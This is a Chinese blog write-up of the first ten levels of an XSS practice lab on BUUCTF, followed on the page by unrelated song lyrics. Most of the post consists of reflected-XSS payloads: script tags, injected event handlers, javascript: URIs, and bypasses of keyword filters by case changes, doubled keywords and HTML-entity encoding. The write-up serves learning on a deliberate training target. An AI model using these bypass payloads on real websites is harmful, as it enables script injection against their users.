人心惟危,|

武阳

园龄:3年2个月粉丝:0关注:0

xss lab(目前是1-10关)

靶机:https://buuoj.cn/challenges#XSS-Lab

第一关

 

 playboard构造:直接在?name=<script>alert('1');</script>

 

输入?keyword=<script>alert('1');</script>&submit=搜索

 

查看源码:

 

注释掉后面的>,jsp中注释符为//,闭合前面的

 

 构造playboad?keyword="><script>alert('1');</script> //&submit=搜索

 

 输入测试:?keyword="><script>alert('1')</script> //&submit=搜索

发现源码

 

 

 发现后台对<>进行了转义,所以弃用<>标签,而onclick按钮可用于html元素中,点击后可触发相关jsp代码

?keyword=' onclick='alert(1)&submit=搜索

闭合单引号 点击框就行

 

测试?keyword="><script>alert(1)</script>&submit=搜索 

查看源码

 

 

发现过滤<>

尝试使用上关playload 发现单引号有些不对修改

playload:?keyword=" onclick="alert(1)&submit=搜索

 

 

测试:

 

 

发现源码变为:

 

 可知其改变了script标签,但没有改变<>,测试onclick标签也有类似情况,所以上伪协议

playload:?keyword="><a href='javascript:alert(1)'>,&submit=搜索

 

 

测试时发现a、sciipt、oncick标签均过滤了,尝试用大小写绕过,成功

playload:?keyword="><Script>alert('1');</script> //&submit=搜索

测试后发现scipt与href被过滤,还有on,且大小写绕过无效,尝试双绕过发现可以

playload:?keyword="><scscriptript>alert(1)</scrscriptipt>&submit=搜索

 

 

查看源码后,发现这个是输入后构造到a标签中 那么用伪协议 发现JavaScript被转义为JavaScri_pt

转换为html编码实体,在线变换网站为https://www.qqxiuzi.cn/bianma/zifushiti.php

字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。

构造出的playload为:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

 

 发现源码中显示:

 

 当添加buuctf地址 https://buuoj.cn/challenges 发现依然显示不合法,那么这个a标签是通过一些特征码去查看,而非查询后返回

尝试用http://发现合法,而https://不合法,不合法无法正常构造

构造出的playload为:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

 

 发现源代码中存在三个hidden属性的值

尝试对三个属性传不同的参数,发现只有t_sort参数回显到html上,可以确定是他

构造playload:?keyword=<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert(1)

 

本文作者:武阳

本文链接:https://www.cnblogs.com/WuYangPro/p/15961657.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   武阳  阅读(355)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 孤勇者 陈奕迅
孤勇者 - 陈奕迅
00:00 / 00:00
An audio error has occurred.

孤勇者 - 陈奕迅 (Eason Chan)

词:唐恬

曲:钱雷

编曲:钱雷

吉他:高飞

人声录音师:利伟明

人声录音棚:雅旺录音室

Vocal edite:汝文博@SBMS Beijing

混音/母带:周天澈@Studio 21A

词版权管理方:北京梦织音传媒有限公司

曲版权管理方:索尼音乐版权代理(北京)有限公司

录音作品及MV版权:EAS MUSIC LTD

出品监制:霍锦/卢泓宇

联合出品方:拳头游戏/腾讯游戏/腾讯视频

制作人:钱雷

都是勇敢的

都是勇敢的

你额头的伤口你的不同你犯的错

你额头的伤口你的不同你犯的错

都不必隐藏

都不必隐藏

你破旧的玩偶你的面具你的自我

你破旧的玩偶你的面具你的自我

他们说要带着光驯服每一头怪兽

他们说要带着光驯服每一头怪兽

他们说要缝好你的伤没有人爱小丑

他们说要缝好你的伤没有人爱小丑

为何孤独不可光荣

为何孤独不可光荣

人只有不完美值得歌颂

谁说污泥满身的不算英雄

谁说污泥满身的不算英雄

爱你孤身走暗巷

爱你孤身走暗巷

爱你不跪的模样

爱你对峙过绝望

不肯哭一场

爱你破烂的衣裳

却敢堵命运的枪

爱你和我那么像

缺口都一样

去吗 配吗 这褴褛的披风

战吗 战啊 以最卑微的梦

致那黑夜中的呜咽与怒吼

谁说站在光里的才算英雄

谁说站在光里的才算英雄

他们说要戒了你的狂

他们说要戒了你的狂

就像擦掉了污垢

他们说要顺台阶而上而代价是低头

他们说要顺台阶而上而代价是低头

那就让我不可乘风

那就让我不可乘风

你一样骄傲着那种孤勇

谁说对弈平凡的不算英雄

谁说对弈平凡的不算英雄

爱你孤身走暗巷

爱你孤身走暗巷

爱你不跪的模样

爱你对峙过绝望

不肯哭一场

爱你破烂的衣裳

却敢堵命运的枪

爱你和我那么像

缺口都一样

去吗 配吗 这褴褛的披风

战吗 战啊 以最卑微的梦

致那黑夜中的呜咽与怒吼

谁说站在光里的才算英雄

谁说站在光里的才算英雄

你的斑驳与众不同

你的沉默震耳欲聋

你的沉默震耳欲聋

You Are The Hero

爱你孤身走暗巷

爱你不跪的模样

爱你对峙过绝望

不肯哭一场 (You Are The Hero)

爱你来自于蛮荒

一生不借谁的光

你将造你的城邦

在废墟之上

去吗 去啊 以最卑微的梦

战吗 战啊 以最孤高的梦

致那黑夜中的呜咽与怒吼

谁说站在光里的才算英雄

谁说站在光里的才算英雄